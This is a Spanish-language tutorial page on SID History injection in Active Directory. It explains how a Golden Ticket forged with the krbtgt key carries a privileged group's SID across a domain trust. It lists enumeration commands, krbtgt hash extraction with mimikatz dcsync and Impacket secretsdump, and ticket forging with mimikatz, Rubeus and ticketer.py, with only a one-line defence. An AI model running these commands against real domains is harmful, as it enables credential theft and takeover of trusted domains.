Persistencia

Inyección de SID History

Cómo un dominio ya comprometido forja un ticket con el SID de un grupo privilegiado y cruza una relación de confianza para mandar en el dominio vecino.

Qué es

La inyección de SID History mete el SID de un grupo privilegiado dentro de un ticket Kerberos falsificado. La cuenta usa esos permisos sin pertenecer al grupo. Así un dominio comprometido cruza una confianza y manda en el dominio vecino.

Cómo funciona

Active Directory trata un SID del campo sidHistory como una membresía real. Si el SID da acceso, la cuenta lo recibe.

Dentro de un ticket Kerberos, esos SID viajan en el campo ExtraSids del PAC. El Domain Controller arma el PAC y tú no lo tocas. Pero un Golden Ticket lo forjas tú con la clave krbtgt. Entonces tú escribes el PAC, incluido ExtraSids.

Necesitas la clave krbtgt del dominio donde forjas. Eso significa que ya comprometiste ese dominio a fondo.

Metes el SID de un grupo privilegiado en ExtraSids. Cada recurso que lee el ticket te trata como miembro de ese grupo.

El filtrado de SID debería quitar los SID ajenos al cruzar una confianza. Por defecto solo quita los que tienen un RID menor a 1000. Un grupo privilegiado personalizado tiene un RID de 1000 o mayor. Su SID pasa intacto.

Diagrama

Comandos

Variante sin forja: busca cuentas que ya cargan un SID en sidHistory.

Get-ADUser -Filter "SIDHistory -like '*'" -Properties SIDHistory | Select-Object Name,SIDHistory

Confirma que la confianza honra SID history (marca TREAT_AS_EXTERNAL):

Get-DomainTrust -Domain <DOMAIN>

Enumera el dominio destino para localizar el grupo privilegiado:

SharpHound.exe -c All -d <DOMAIN>

Desde Linux, lista los SID y sus RID con Impacket:

lookupsid.py <DOMAIN>/<USER>:<PASSWORD>@<IP>

Saca el hash de krbtgt del dominio donde vas a forjar. Con mimikatz:

lsadump::dcsync /domain:<DOMAIN> /user:<DOMAIN>\krbtgt

Lo mismo con Impacket:

secretsdump.py <DOMAIN>/<USER>:<PASSWORD>@<IP> -just-dc-user krbtgt

Forja el ticket con el SID del grupo (<SID-GRUPO>) inyectado en ExtraSids. Con mimikatz:

kerberos::golden /user:<USER> /domain:<DOMAIN> /sid:<SID> /krbtgt:<HASH> /sids:<SID-GRUPO> /ptt

Con Rubeus, en Windows:

Rubeus.exe golden /rc4:<HASH> /user:<USER> /domain:<DOMAIN> /sid:<SID> /sids:<SID-GRUPO> /ptt

Con Impacket, desde Linux:

ticketer.py -nthash <HASH> -domain-sid <SID> -domain <DOMAIN> -extra-sid <SID-GRUPO> <USER>

Cómo defenderse

Rota la contraseña de krbtgt dos veces: cada Golden Ticket, con SID inyectado o sin él, muere cuando krbtgt cambia.

Siguiente

Puedes seguir leyendo aquí:

PersistenciaSilver Tickets

No te pierdas ninguna noticia

Recibe un correo cuando haya alguna actualización importante.

Al suscribirte aceptas la política de privacidad.